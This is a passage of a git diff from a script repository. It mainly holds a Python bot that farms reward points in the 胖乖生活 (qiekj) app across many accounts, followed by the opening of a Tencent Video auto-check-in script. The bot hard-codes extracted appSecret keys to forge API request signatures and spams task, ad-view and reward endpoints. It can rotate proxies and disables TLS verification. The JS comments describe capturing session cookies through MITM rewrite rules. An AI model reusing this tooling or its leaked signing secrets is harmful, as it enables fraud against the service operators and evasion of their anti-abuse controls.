dl_sleep: + if ip(): + print("✅代理检测通过,可以使用") + time.sleep(2) + else: + print(f'❎当前ip不可用,第{a}次重新获取!') + break + continue + else: + print(f"请求代理池: {proxy1}") + print("响应中存在白名单字样,结束运行") + os._exit(0) + else: + print(f'❎第{a}次获取代理失败!重新获取!') + time.sleep(dl_sleep) + continue + + +def ip(): + try: + if global_proxy: + r = requests.get('http://httpbin.org/ip', proxies=global_proxy, timeout=10, verify=False) + else: + r = requests.get('http://httpbin.org/ip') + if r.status_code == 200: + ip = r.json()["origin"] + print(f"当前IP: {ip}") + return ip + else: + print(f"❎查询ip失败") + return None + except requests.RequestException as e: + print(f"❎查询ip错误") + return None + except Exception as e: + print(f"❎查询ip错误") + return None + + +def p(p): + if len(p) == 11: + return p[:3] + '****' + p[7:] + else: + return p + + +class PGSH: + def __init__(self, cki): + self.msg = None + self.messages = [] + self.title = None + self.phone = None + self.token = cki.split('#')[0] + self.cook = cki + self.total_amount = 0 + self.id = None + self.hd = { + 'User-Agent': "okhttp/3.14.9", + 'Accept': 'application/json, text/plain, */*', + 'Version': "1.57.2", + 'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8", + 'Authorization': self.token, + 'channel': "android_app" + } + self.hd1 = { + 'User-Agent': "okhttp/3.14.9", + 'Connection': "Keep-Alive", + 'Accept-Encoding': "gzip", + 'Authorization': self.token, + 'Version': "1.57.2", + 'channel': "android_app", + 'phoneBrand': "Redmi", + 'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8" + } + self.listUrl = 'https://userapi.qiekj.com/task/list' + self.phone_url = 'https://userapi.qiekj.com/user/info' + self.check_url = 'https://userapi.qiekj.com/user/balance' + self.rcrw_url = 'https://userapi.qiekj.com/task/completed' + self.sign_url = 'https://userapi.qiekj.com/signin/doUserSignIn' + self.jrjf_url = "https://userapi.qiekj.com/integralRecord/pageList" + self.dkbm_url = 'https://userapi.qiekj.com/markActivity/doApplyTask' + self.dkbm_url1 = 'https://userapi.qiekj.com/markActivity/doMarkTask' + self.shop_url = 'https://userapi.qiekj.com/integralUmp/rewardIntegral' + self.jtjl_url = 'https://userapi.qiekj.com/ladderTask/applyLadderReward' + self.dkbm_url2 = "https://userapi.qiekj.com/markActivity/markTaskReward" + self.bmcodeurl = 'https://userapi.qiekj.com/markActivity/queryMarkTaskByStartTime' + + # 签名 + def sg(self, y): + timestamp = str(int(time.time() * 1000)) + parsed_url = urlparse(y) + path = parsed_url.path + data = f"appSecret=nFU9pbG8YQoAe1kFh+E7eyrdlSLglwEJeA0wwHB1j5o=&channel=android_app×tamp={timestamp}&token={self.token}&version=1.57.2&{path}" + data1 = f"appSecret=Ew+ZSuppXZoA9YzBHgHmRvzt0Bw1CpwlQQtSl49QNhY=&channel=alipay×tamp={timestamp}&token={self.token}&{path}" + sign = hashlib.sha256(data.encode()).hexdigest() + sign1 = hashlib.sha256(data1.encode()).hexdigest() + return sign, sign1, timestamp + + + # 检测token有效性 + def name(self): + try: + data = {'token': self.token} + if dl: + re = requests.post(self.phone_url, data=data, headers=self.hd, proxies=global_proxy, timeout=10, + verify=False).json() + else: + re = requests.post(self.phone_url, data=data, headers=self.hd).json() + code = re['code'] + if code == 0: + try: + if "#" in self.cook: + self.phone = self.cook.split('#')[1] + else: + self.phone = p(re['data']['phone']) + except: + print(f'[账号{i + 1}] Cookie异常') + exit(0) + self.id = re["data"]["id"] + sign, sign1, timestamp = self.sg(self.check_url) + self.hd['sign'] = sign + self.hd['timestamp'] = timestamp + if dl: + r = requests.post(self.check_url, data=data, headers=self.hd, proxies=global_proxy, timeout=10, + verify=False).json() + else: + r = requests.post(self.check_url, data=data, headers=self.hd).json() + coin_code = r['code'] + balance = r['data']['integral'] if coin_code == 0 else 'N/A' + print(f"[{self.phone}] ✅登录成功!积分余额: {balance}") + return self.phone + else: + msg = re["msg"] + print(f"[账号{i + 1}] ❎登录失败==> {msg}") + return False + except Exception as e: + print("❎请求出现错误") + return False + + # 签到 + def sign(self, max_retries=3): + retries = 0 + while retries < max_retries: + try: + data = {'activityId': '600001', 'token': self.token} + sign, sign1, timestamp = self.sg(self.sign_url) + self.hd['sign'] = sign + self.hd['timestamp'] = timestamp + if dl: + re = requests.post(self.sign_url, data=data, headers=self.hd, proxies=global_proxy, timeout=10, + verify=False).json() + else: + re = requests.post(self.sign_url, data=data, headers=self.hd).json() + + msg = re['msg'] + print(f"[{self.phone}] ✅签到==> {msg}") + break + except Exception as e: + retries += 1 + print(f"❎签到错误,重试次数: {retries}/{max_retries}") + if retries >= max_retries: + print("❎达到最大重试次数,跳过该任务") + break + time.sleep(1) + + # 浏览商品 + def shop(self): + for t in range(6): + try: + b1 = string.ascii_lowercase + string.digits + item_code = ''.join(random.choice(b1) for _ in range(6)) + data = {'itemCode': item_code, 'token': self.token} + sign, sign1, timestamp = self.sg(self.shop_url) + self.hd['sign'] = sign + self.hd['timestamp'] = timestamp + if dl: + re = requests.post(self.shop_url, data=data, headers=self.hd, proxies=global_proxy, timeout=10, + verify=False).json() + else: + re = requests.post(self.shop_url, data=data, headers=self.hd).json() + q = re["data"] + if q is not None: + amount = re["data"]["rewardIntegral"] + print(f"[{self.phone}] ✅第{t + 1}次浏览商品成功,获得==> {amount}!") + else: + print(f"[{self.phone}] ❎第{t + 1}次浏览商品失败==> {q}") + break + except Exception as error: + print("❎浏览商品出现错误") + continue + if dl: + time.sleep(2) + else: + time.sleep(6) + + # 支付宝广告任务 + def zfbgg(self): + for t in range(11): + try: + data = {'taskType': "9", 'token': self.token} + sign, sign1, timestamp = self.sg(self.rcrw_url) + hd1 = { + 'User-Agent': "Dalvik/2.1.0 (Linux; U; Android 13; MEIZU 20 Build/TKQ1.221114.001) Chrome/105.0.5195.148 MYWeb/0.11.0.240407200246 UWS/3.22.2.9999 UCBS/3.22.2.9999_220000000000 Mobile Safari/537.36 NebulaSDK/1.8.100112 Nebula AlipayDefined(nt:WIFI,ws:1080|1862|2.8125) AliApp(AP/10.5.88.8000) AlipayClient/10.5.88.8000 Language/zh-Hans useStatusBar/true isConcaveScreen/true NebulaX/1.0.0 DTN/2.0", + 'Connection': "Keep-Alive", + 'Accept-Encoding': "gzip", + 'Content-Type': "application/x-www-form-urlencoded", + 'Accept-Charset': "UTF-8", + 'channel': "alipay", + 'sign': sign1, + 'x-release-type': "ONLINE", + 'version': "", + 'timestamp': timestamp + } + if dl: + response = requests.post(self.rcrw_url, data=data, headers=hd1, proxies=global_proxy, timeout=10, + verify=False).json() + else: + response = requests.post(self.rcrw_url, data=data, headers=hd1).json() + msg = response["data"] + if msg: + print(f"[{self.phone}] ✅第{t + 1}次支付宝广告==> {msg}") + else: + print(f"[{self.phone}] ❎第{t + 1}次支付宝广告失败==> {msg}") + break + except Exception as error: + print("❎支付宝广告出现错误") + continue + if dl: + time.sleep(2) + else: + time.sleep(6) + + # 看视频赚积分 + def kspzjf(self): + for t in range(6): + try: + data = {'taskType': "2", 'token': self.token} + sign, sign1, timestamp = self.sg(self.rcrw_url) + self.hd['sign'] = sign + self.hd['timestamp'] = timestamp + if dl: + response = requests.post(self.rcrw_url, data=data, headers=self.hd, proxies=global_proxy, + timeout=10, verify=False).json() + else: + response = requests.post(self.rcrw_url, data=data, headers=self.hd).json() + msg = response["data"] + if msg: + print(f"[{self.phone}] ✅第{t + 1}次看视频赚积分==> {msg}") + else: + print(f"[{self.phone}] ❎第{t + 1}次看视频赚积分失败==> {msg}") + break + except Exception as error: + print("❎看视频赚积分出现错误") + continue + if dl: + time.sleep(2) + else: + time.sleep(6) + + # 看广告赚积分 + def kggzjf(self): + for t in range(9): + try: + data = {'taskCode': '18893134-715b-4307-af1c-b5737c70f58d', 'token': self.token} + sign, sign1, timestamp = self.sg(self.rcrw_url) + self.hd['sign'] = sign + self.hd['timestamp'] = timestamp + if dl: + res = requests.post(self.rcrw_url, data=data, headers=self.hd, proxies=global_proxy, timeout=10, + verify=False).json() + else: + res = requests.post(self.rcrw_url, data=data, headers=self.hd).json() + msg = res['data'] + if msg: + print(f'[{self.phone}] ✅第{t + 1}次看广告赚积分==> {msg}') + else: + print(f'[{self.phone}] ❎第{t + 1}次看广告赚积分失败==> {msg}') + break + except Exception as e: + print("❎看广告赚积分出现错误") + continue + if dl: + time.sleep(2) + else: + time.sleep(6) + + # 不知名任务 + def ycrw(self): + for t in range(9): + try: + data = {'taskCode': '15eb1357-b2d9-442f-a19f-dbd9cdc996cb', 'token': self.token} + sign, sign1, timestamp = self.sg(self.rcrw_url) + self.hd['sign'] = sign + self.hd['timestamp'] = timestamp + if dl: + re = requests.post(self.rcrw_url, data=data, headers=self.hd, proxies=global_proxy, timeout=10, + verify=False).json() + else: + re = requests.post(self.rcrw_url, data=data, headers=self.hd).json() + msg = re['data'] + if msg: + print(f'[{self.phone}] ✅第{t + 1}次看广告赚积分==> {msg}') + else: + print(f'[{self.phone}] ❎第{t + 1}次看广告赚积分失败==> {msg}') + break + except Exception as e: + print("❎不知名任务出现错误") + continue + if dl: + time.sleep(2) + else: + time.sleep(6) + + # 大鹅积分 + def dejf(self): + for t in range(10): + try: + data = {'taskCode': '5', 'token': self.token} + sign, sign1, timestamp = self.sg(self.rcrw_url) + self.hd['sign'] = sign + self.hd['timestamp'] = timestamp + if dl: + re = requests.post(self.rcrw_url, data=data, headers=self.hd, proxies=global_proxy, timeout=10, + verify=False).json() + else: + re = requests.post(self.rcrw_url, data=data, headers=self.hd).json() + msg = re['data'] + if msg: + print(f'[{self.phone}] ✅第{t + 1}次大鹅积分当钱花==> {msg}') + else: + print(f'[{self.phone}] ❎第{t + 1}次大鹅积分当钱花==> {msg}') + break + except Exception as e: + print("❎大鹅积分当钱花出现错误") + continue + if dl: + time.sleep(2) + else: + time.sleep(6) + + # 遍历日常 + def rcrw(self): + try: + data = {'token': self.token} + sign, sign1, timestamp = self.sg(self.listUrl) + self.hd['sign'] = sign + self.hd['timestamp'] = timestamp + response = requests.post(self.listUrl, data=data, headers=self.hd).json() + code = response.get('code', -1) + if code == 0: + tasks = response.get('data', {}).get('items', []) + if tasks: + print(f'[{self.phone}] ✅获取到{len(tasks)}个日常任务') + for item in tasks: + title = item["title"] + id1 = item["taskCode"] + data = {'taskCode': id1, 'token': self.token} + sign, sign1, timestamp = self.sg(self.rcrw_url) + self.hd['sign'] = sign + self.hd['timestamp'] = timestamp + if dl: + time.sleep(2) + else: + time.sleep(6) + if dl: + response1 = requests.post(self.rcrw_url, data=data, headers=self.hd, proxies=global_proxy, + timeout=10, verify=False).json() + else: + response1 = requests.post(self.rcrw_url, data=data, headers=self.hd).json() + data1 = response1.get("data", {}) + if data1: + print(f'[{self.phone}] ✅完成日常任务[{title}]成功==> {data1}') + else: + print(f'[{self.phone}] ❎完成日常任务[{title}]失败==> {data1}') + if dl: + time.sleep(2) + else: + time.sleep(6) + else: + print("❎获取任务列表为空!") + else: + print("❎获取任务列表失败!") + except requests.RequestException as e: + print(f"❎网络请求错误: {e}") + except Exception as e: + print(f"❎遍历日常出现错误: {e}") + + # 领取阶梯奖励 + def jtjl(self): + try: + url = "https://userapi.qiekj.com/ladderTask/ladderTaskForDay" + params = { + 'token': self.token + } + sign, sign1, timestamp = self.sg(url) + self.hd1['sign'] = sign + self.hd1['timestamp'] = timestamp + if dl: + r = requests.get(url, params=params, headers=self.hd1, proxies=global_proxy, timeout=10, + verify=False).json() + else: + r = requests.get(url, params=params, headers=self.hd1).json() + if r['code'] == 0: + reward_list = [item['rewardCode'] for item in r['data']['ladderRewardList']] + for rewar in reward_list: + try: + url1 = "https://userapi.qiekj.com/ladderTask/applyLadderReward" + data = {'rewardCode': rewar, 'token': self.token} + sign, sign1, timestamp = self.sg(url1) + self.hd1['sign'] = sign + self.hd1['timestamp'] = timestamp + if dl: + r1 = requests.post(url1, data=data, headers=self.hd1, proxies=global_proxy, timeout=10, + verify=False).json() + else: + r1 = requests.post(url1, data=data, headers=self.hd1).json() + if r1["code"] == 0: + reward = r1["data"]["reward"] + print(f'[{self.phone}] ✅领取任务id[{rewar}]成功==> {reward}') + else: + print(f'[{self.phone}] ❎领取任务id[{rewar}]失败==> {r1["msg"]}') + if dl: + time.sleep(2) + else: + time.sleep(6) + except Exception as e: + print("❎领取阶梯奖励出现错误") + continue + else: + print("获取任务列表失败!") + except Exception as e: + print("获取阶梯奖励列表出现错误") + + # 时间段奖励 + def timejl(self, max_retries=3): + retries = 0 + while retries < max_retries: + try: + url = "https://userapi.qiekj.com/timedBenefit/applyRewardForTimeBenefit" + params = { + 'token': self.token + } + sign, sign1, timestamp = self.sg(url) + self.hd1['sign'] = sign + self.hd1['timestamp'] = timestamp + + if dl: + r = requests.get(url, params=params, headers=self.hd1, proxies=global_proxy, timeout=10, + verify=False).json() + else: + r = requests.get(url, params=params, headers=self.hd1).json() + if r["code"] == 0: + print(f'[{self.phone}] ✅领取时间段奖励成功==> {r["data"]["rewardNum"]}') + break + else: + print(f'[{self.phone}] ❎领取时间段奖励失败==> {r["msg"]}') + break + except Exception as e: + retries += 1 + print(f"❎完成时间段任务出现错误: {e}. 重试次数: {retries}/{max_retries}") + if retries >= max_retries: + print("❎达到最大重试次数,跳过该任务") + break + time.sleep(1) + + # 打卡报名 + def dkbm(self): + try: + ti = datetime.now().strftime('%Y-%m-%d %H:%M:%S') + data = {'startTime': ti, 'token': self.token} + sign, sign1, timestamp = self.sg(self.bmcodeurl) + self.hd1['sign'] = sign + self.hd1['timestamp'] = timestamp + if dl: + r = requests.post(self.bmcodeurl, data=data, headers=self.hd1, proxies=global_proxy, timeout=10, + verify=False).json() + else: + r = requests.post(self.bmcodeurl, data=data, headers=self.hd1).json() + code = r['code'] + if code == 0: + try: + code1 = r['data']['taskCode'] + data = {'taskCode': code1, 'token': self.token} + sign, sign1, timestamp = self.sg(self.dkbm_url) + self.hd1['sign'] = sign + self.hd1['timestamp'] = timestamp + time.sleep(2) + if dl: + r1 = requests.post(self.dkbm_url, data=data, headers=self.hd1, proxies=global_proxy, timeout=10, + verify=False).json() + else: + r1 = requests.post(self.dkbm_url, data=data, headers=self.hd1).json() + code2 = r1['code'] + data1 = r1["data"] + msg = r1["msg"] + if code2 == 0: + print(f"[{self.phone}] ✅打卡报名成功==> {data1}") + else: + print(f"[{self.phone}] ❎打卡报名失败==> {msg}") + except Exception as e: + print("❎打卡报名出现错误") + else: + print(f"获取code失败!{r}") + except Exception as e: + print("获取打卡报名id出现错误") + + # 领取瓜分资格 + def gfjf(self): + try: + current_datetime = datetime.now() + yesterday_datetime = current_datetime - timedelta(days=1) + yesterday_now = yesterday_datetime.replace(hour=current_datetime.hour, minute=current_datetime.minute, + second=current_datetime.second, + microsecond=current_datetime.microsecond) + k = yesterday_now.strftime("%Y-%m-%d %H:%M:%S") + data = {"startTime": k, "token": self.token} + sign, sign1, timestamp = self.sg(self.bmcodeurl) + self.hd1['sign'] = sign + self.hd1['timestamp'] = timestamp + if dl: + r = requests.post(self.bmcodeurl, headers=self.hd1, data=data).json() + else: + r = requests.post(self.bmcodeurl, headers=self.hd1, data=data).json() + if r['code'] == 0: + code1 = r['data']['taskCode'] + data1 = {'taskCode': code1, 'token': self.token} + sign, sign1, timestamp = self.sg(self.dkbm_url1) + self.hd1['sign'] = sign + self.hd1['timestamp'] = timestamp + time.sleep(2) + if dl: + r1 = requests.post(self.dkbm_url1, headers=self.hd1, data=data1).json() + else: + r1 = requests.post(self.dkbm_url1, headers=self.hd1, data=data1).json() + print(f"[{self.phone}] 领取瓜分资格==> {r1['msg']}") + return code1 + else: + print(f"❎获取taskCode失败! {r}") + return None + except Exception as e: + print(f"领取瓜分资格出现错误") + + # 瓜分积分 + def gfjf1(self, max_retries=3): + retries = 0 + while retries < max_retries: + try: + data1 = {'taskCode': self.gfjf(), 'token': self.token} + sign, sign1, timestamp = self.sg(self.dkbm_url2) + self.hd1['sign'] = sign + self.hd1['timestamp'] = timestamp + req = requests.post(self.dkbm_url2, headers=self.hd1, data=data1).json() + a1 = req['data'] + print(f"[{self.phone}] ✅报名瓜分成功==> {a1}") + break + except Exception as e: + retries += 1 + print(f"❎报名瓜分错误,重试次数: {retries}/{max_retries}") + if retries >= max_retries: + print("❎达到最大重试次数,跳过该任务") + break + time.sleep(1) + + def xieru(self, rw, dk): + try: + new_data = { + "pgid": str(self.id) + } + if not os.path.exists("./pgsh.json"): + with open("./pgsh.json", "w") as file: + json.dump({}, file) + with open("./pgsh.json", "r") as file: + try: + data = json.load(file) + except json.decoder.JSONDecodeError: + data = {} + if rw == 1 and new_data["pgid"] in data and data[new_data["pgid"]]["rw"] == 1: + print("任务记录已存在。") + return False + elif dk == 1 and new_data["pgid"] in data and data[new_data["pgid"]]["dk"] == 1: + print("打卡记录已存在。") + return False + else: + if rw == 1: + data[new_data["pgid"]] = {"rw": 1, "dk": 0} + elif dk == 1: + data[new_data["pgid"]] = {"rw": 1, "dk": 1} + with open("./pgsh.json", "w") as file: + json.dump(data, file) + print("✅写入记录文件成功。") + return True + except Exception as e: + print(f"❎写入记录文件出现错误,初始化文件内容") + with open("./pgsh.json", "w") as file: + json.dump({}, file) + + # 读取指定值是否存在 + def duqu(self, aa, rw, dk): + try: + if not os.path.exists("./pgsh.json"): + with open("./pgsh.json", "w") as file: + json.dump({}, file) + + with open("./pgsh.json", "r") as file: + try: + data = json.load(file) + except json.decoder.JSONDecodeError: + data = {} + if rw == 1: + if str(aa) in data: + return data[str(aa)]["rw"] + else: + return False + elif dk == 1: + if str(aa) in data: + return data[str(aa)]["dk"] + else: + return False + except Exception as e: + print(f"读取记录文件出现错误,初始化文件内容") + with open("./pgsh.json", "w") as file: + json.dump({}, file) + + # 今日积分 + def jrjf(self, i, token1): + token = token1.split('#')[0] + try: + hd1 = { + 'User-Agent': "okhttp/3.14.9", + 'Accept': 'application/json, text/plain, */*', + 'Version': "1.57.2", + 'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8", + 'Authorization': token, + 'channel': "android_app" + } + data = {'token': token} + sign, sign1, timestamp = self.sg(self.phone_url) + self.hd['sign'] = sign + self.hd['timestamp'] = timestamp + r = requests.post(self.phone_url, data=data, headers=hd1).json() + if r['code'] == 0: + try: + sign, sign1, timestamp = self.sg(self.check_url) + self.hd['sign'] = sign + self.hd['timestamp'] = timestamp + r1 = requests.post(self.check_url, data=data, headers=hd1).json() + coin_code = r1['code'] + balance = r1['data']['integral'] if coin_code == 0 else 'N/A' + except Exception as e: + print(f"获取积分失败: {e}") + balance = 'N/A' + + try: + phone = p(r['data']['phone']) + data = { + 'page': (None, '1'), + 'pageSize': (None, '100'), + 'type': (None, '100'), + 'receivedStatus': (None, '1'), + 'token': (None, token), + } + hd = { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 14; 23117RK66C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 AgentWeb/5.0.0 UCBrowser/11.6.4.950 com.qiekj.QEUser', + 'Accept': 'application/json, text/plain, */*', + 'channel': 'android_app', + } + re_response = requests.post(self.jrjf_url, headers=hd, files=data).json() + current_date = datetime.now().strftime('%Y-%m-%d') + total_amount = 0 + for item in re_response['data']['items']: + received_date = item['receivedTime'][:10] + if received_date == current_date: + total_amount += item['amount'] + print(f"[{phone}] ✅今日获得积分: {total_amount}") + return { + '序号': i + 1, + '用户': phone, + 'arg1': balance, + 'arg2': total_amount + } + except Exception as e: + print(f"[账号{i + 1}] ❎查询当日积分出现错误: {e}") + return { + '序号': i + 1, + '用户': i + 1, + 'arg1': f"❎", + 'arg2': f"❎" + } + else: + print(f"[账号{i + 1}] ❎登录失败: {r['msg']}") + return { + '序号': i + 1, + '用户': i + 1, + 'arg1': f"{r['msg']}", + 'arg2': f"{r['msg']}" + } + except requests.exceptions.RequestException as e: + print(f"[账号{i + 1}] ❎网络请求错误: {e}") + return { + '序号': i + 1, + '用户': i + 1, + 'arg1': f"❎", + 'arg2': f"❎" + } + except Exception as e: + print(f"[账号{i + 1}] ❎查询当日积分出现错误: {e}") + return { + '序号': i + 1, + '用户': i + 1, + 'arg1': f"❎", + 'arg2': f"❎" + } + + def jf(self): + try: + msg_list = [] + print(f"======开始查询所有账号当日收益======") + for n, yy in enumerate(cookies): + msg = self.jrjf(n, yy) + msg_list.append(msg) + sorted_data = sorted(msg_list, key=lambda x: x['序号']) + table_content = '' + for row in sorted_data: + table_content += f"{row['序号']}{row['用户']}{row['arg1']}{row['arg2']}" + + self.msg = f"{table_content}
🆔用户名总积分今日积分
" + if ts: + self.send_msg() + except Exception as e: + print(f"查询所有账号当日收益出现错误: {e}") + if int(b) <= now_time or now_time <= 1: + with open("./pgsh.json", "w") as file: + json.dump({}, file) + print("已重置文件内容") + + def send_msg(self): + if 'WxPusher_token' in os.environ and os.environ['WxPusher_token'] is not None: + self.WxPusher_ts() + if 'PUSH_PLUS_TOKEN' in os.environ and os.environ['PUSH_PLUS_TOKEN'] is not None: + self.pushplus_ts() + else: + print("❎推送失败,未配置推送") + + def WxPusher_ts(self): + try: + url = 'https://wxpusher.zjiecode.com/api/send/message' + params = { + 'appToken': WxPusher_token, + 'content': self.msg, + 'summary': '胖乖生活', + 'contentType': 3, + 'uids': [WxPusher_uid] + } + re = requests.post(url, json=params) + msg = re.json().get('msg', None) + print(f'WxPusher推送结果:{msg}\\\n') + except Exception as e: + print(f"WxPusher推送出现错误: {e}") + + def pushplus_ts(self): + try: + url = 'https://www.pushplus.plus/send/' + data = { + "token": pushplus_token, + "title": '胖乖生活', + "content": self.msg + } + re = requests.post(url, json=data) + msg = re.json().get('msg', None) + print(f'pushplus推送结果:{msg}\\\n') + except Exception as e: + print(f"pushplus推送出现错误: {e}") + + def start(self): + if self.name(): + print("-----执行领取时间段奖励-----") + self.timejl() + if int(a) <= now_time < int(b): + print("--------滴滴车发车,坐稳了--------\\\n") + if self.duqu(self.id, 1, 0) == 0: + print("-----开始执行签到-----") + self.sign() + if dl: + time.sleep(2) + else: + time.sleep(6) + print("-----先遍历个日常,防止漏网之鱼-----") + self.rcrw() + if dl: + time.sleep(2) + else: + time.sleep(6) + print("-----开始执行支付宝看广告-----") + self.zfbgg() + if dl: + time.sleep(2) + else: + time.sleep(6) + print("-----开始执行赚大鹅积分-----") + self.dejf() + if dl: + time.sleep(2) + else: + time.sleep(6) + print("-----开始执行看视频赚积分-----") + self.kspzjf() + if dl: + time.sleep(2) + else: + time.sleep(6) + print("-----开始执行看广告赚积分-----") + self.kggzjf() + if dl: + time.sleep(2) + else: + time.sleep(6) + print("-----开始执行浏览商品赚积分-----") + self.shop() + if dl: + time.sleep(2) + else: + time.sleep(6) + print("-----开始执行隐藏任务-----") + self.ycrw() + if dl: + time.sleep(2) + else: + time.sleep(6) + print("-----开始执行打卡报名-----") + self.dkbm() + if dl: + time.sleep(2) + else: + time.sleep(6) + print("-----开始执行领取瓜分资格-----") + self.gfjf() + if dl: + time.sleep(2) + else: + time.sleep(6) + print("-----执行领取阶梯奖励----") + self.jtjl() + if dl: + time.sleep(2) + else: + time.sleep(6) + print("-----任务执行完毕,记录id-----") + self.xieru(1, 0) + else: + print("当前账号已执行过任务,跳过执行") + else: + print(f"当前时间非{int(a)}-{int(b)},跳过今日任务") + if 14 <= now_time <= 16: + print("-----开始执行瓜分打卡积分-----") + if self.duqu(self.id, 0, 1) == 0: + self.gfjf1() + self.xieru(0, 1) + else: + print("当前账号已执行过任务,跳过执行") + else: + print(f"当前时间非14-16,跳过瓜分打卡积分") + + +if __name__ == '__main__': + print(f"当前版本: {v}") + print("TL库:https://github.com/3288588344/toulu.git") + print("QQ频道:98do10s246") + print("微信机器人:kckl6688") + print("tg频道:https://t.me/TLtoulu") + requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) + print = partial(print, flush=True) + if jh: + print("当前聚合ck模式,所有模式ck生效") + ck1 = [] + if 'PGSH_TOKEN' in os.environ: + ck1.append(os.environ.get('PGSH_TOKEN')) + if ckurl != "": + r = requests.get(ckurl) + ck1.append(r.text.strip()) + if ck != "": + ck1.append(ck) + if not ck1: + print("变量为空,请设置其中一个变量后再运行") + exit(-1) + cookie = '&'.join(ck1) + else: + if 'PGSH_TOKEN' in os.environ: + cookie = os.environ.get('PGSH_TOKEN') + else: + print("环境变量中不存在[PGSH_TOKEN],启用本地或数据库地址模式") + if ckurl != "": + r = requests.get(ckurl) + cookie = r.text.strip() + else: + cookie = ck + if cookie == "": + print("本地及数据库地址变量为空,请设置其中一个变量后再运行") + exit(-1) + cookies = cookie.split("&") + print(f"胖乖生活共获取到 {len(cookies)} 个账号") + now_time = datetime.now().hour + if dl: + start_dlapi() + i = 1 + if bf: + print("✅开启并发模式") + if dl: + print("✅开启代理模式") + with ThreadPoolExecutor(max_workers=int(bfsum)) as executor: + futures = [executor.submit(PGSH(ck).start) for ck in cookies] + for i, future in enumerate(as_completed(futures)): + print(f"======执行第{i + 1}个账号======") + future.result() + stop_event.set() + time.sleep(2) + PGSH(ck).jf() + else: + print("❎未开启代理模式") + with ThreadPoolExecutor(max_workers=int(bfsum)) as executor: + futures = [executor.submit(PGSH(ck).start) for ck in cookies] + for i, future in enumerate(as_completed(futures)): + print(f"======执行第{i + 1}个账号======") + time.sleep(2) + PGSH(ck).jf() + else: + print("✅常规运行模式") + if dl: + print("✅开启代理模式") + for i, ck in enumerate(cookies): + print(f"======开始第{i + 1}个账号======") + now_time = datetime.now().hour + PGSH(ck).start() + print("2s后进行下一个账号") + time.sleep(2) + stop_event.set() + time.sleep(2) + PGSH(ck).jf() + else: + print("❎未开启代理模式") + for i, ck in enumerate(cookies): + print(f"======开始第{i + 1}个账号======") + now_time = datetime.now().hour + PGSH(ck).start() + print("2s后进行下一个账号") + time.sleep(2) + time.sleep(2) + PGSH(ck).jf() diff --git a/脚本库/web版/账密/腾讯视频/2025-06-28_腾讯视频_d184953f.js b/脚本库/web版/账密/腾讯视频/2025-06-28_腾讯视频_d184953f.js new file mode 100644 index 0000000..bc58b29 --- /dev/null +++ b/脚本库/web版/账密/腾讯视频/2025-06-28_腾讯视频_d184953f.js @@ -0,0 +1,679 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E8%85%BE%E8%AE%AF%E8%A7%86%E9%A2%91.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E8%85%BE%E8%AE%AF%E8%A7%86%E9%A2%91.js +// # Repo: jdqlscript/toulu +// # Path: 腾讯视频.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: d184953f5b81bc1461b825c27b82d6bc1237c90266dbd0e642b500ff4386c48d +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/** +*@file 腾讯视频 +*@desp 本脚本仅适用于腾讯视频及体育会员每日签到,仅测试Quantumult X、青龙(只支持单账号) +*@env txspCookie、txspRefreshCookie、txspRefreshBody、dayOfGetMonthTicket、isSkipTxspCheckIn、isLottery +*@updated 2024-7-18 +*@version v1.0.3 + +🌟 环境变量说明 +txspCookie:腾讯视频app的Cookie +txspRefreshCookie、txspRefreshBody:腾讯视频网页NewRefresh接口中的数据,用来刷新Cookie中的vqq_vusession +dayOfGetMonthTicket:每月几号领取每月球票,默认为每月1号 +isSkipTxspCheckIn:值域[true, false] 默认为false表示正常进行腾讯视频会员签到,用于特殊情况下(账号需要获取短信验证码或者需要过滑块验证码)时开启 +isLottery: 值域[true, false] 默认为false表示不抽奖,抽抽乐于2024年2月29日10点下线,建议不开启,反正也抽不到 +❗ 本脚本只能给腾讯视频正常账号签到,如有验证请设置isSkipTxspCheckIn为true,直到手动签到无验证为止 +❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖ + +详细功能: +🔵 腾讯视频会员签到领V力值 +🔵 腾讯体育会员签到领热爱值 +🔵 腾讯体育领取每日球票 +🔵 腾讯体育领取每月球票 + +📌 获取Cookie:(重写需要获取3个值:txspCookie、txspRefreshCookie、txspRefreshBody) +- 进入腾讯视频app,点击右下角我的,点击头像下的视频VIP进入会员中心看到系统消息提示获取txspCookie成功即可 +- 浏览器进入腾讯视频网页版,登录后切换成桌面版,刷新网页看到系统消息提示获取txspRefreshCookie、txspRefreshBody成功即可 +- 获取Cookie后, 请将Cookie脚本禁用并移除主机名,以免产生不必要的MITM +*/ +const $ = new Env("腾讯视频"); + +let txspCookie = ($.isNode() ? process.env.txspCookie : $.getdata('txspCookie')) || ""; +let txspRefreshCookie = ($.isNode() ? process.env.txspRefreshCookie : $.getdata('txspRefreshCookie')) || ""; +let txspRefreshBody = ($.isNode() ? process.env.txspRefreshBody : $.getdata('txspRefreshBody')) || ""; +let dayOfGetMonthTicket = ($.isNode() ? process.env.dayOfGetMonthTicket : $.getdata('dayOfGetMonthTicket')) || 1; +let isSkipTxspCheckIn = $.isNode() ? process.env.isSkipTxspCheckIn : (($.getdata('isSkipTxspCheckIn') !== undefined && $.getdata('isSkipTxspCheckIn') !== '') ? JSON.parse($.getdata('isSkipTxspCheckIn')) : false); +let isLottery = $.isNode() ? process.env.isLottery : (($.getdata('isLottery') !== undefined && $.getdata('isLottery') !== '') ? JSON.parse($.getdata('isLottery')) : false); + +const Notify = 1; //0为关闭通知,1为打开通知,默认为1 +const notify = $.isNode() ? require("./sendNotify") : ""; + +let currentVersion = "v1.0.3", latestVersion = ""; +let nickname = ""; +let isTxspVip = false, isTxspSvip = false, isTxSportsVip = false, isTxSportsSvip = false; +let endTime = "", svipEndTime = "", txSportsEndTime = "", txSportsSvipEndTime = ""; +let level = "", txSportsLevel = ""; +let score = "", txSportsScore = ""; +let month_received_score = "", month_limit = ""; +let isTxspCheckIn = "", isTxSportsCheckIn = ""; + +let originalInfo = $.info; 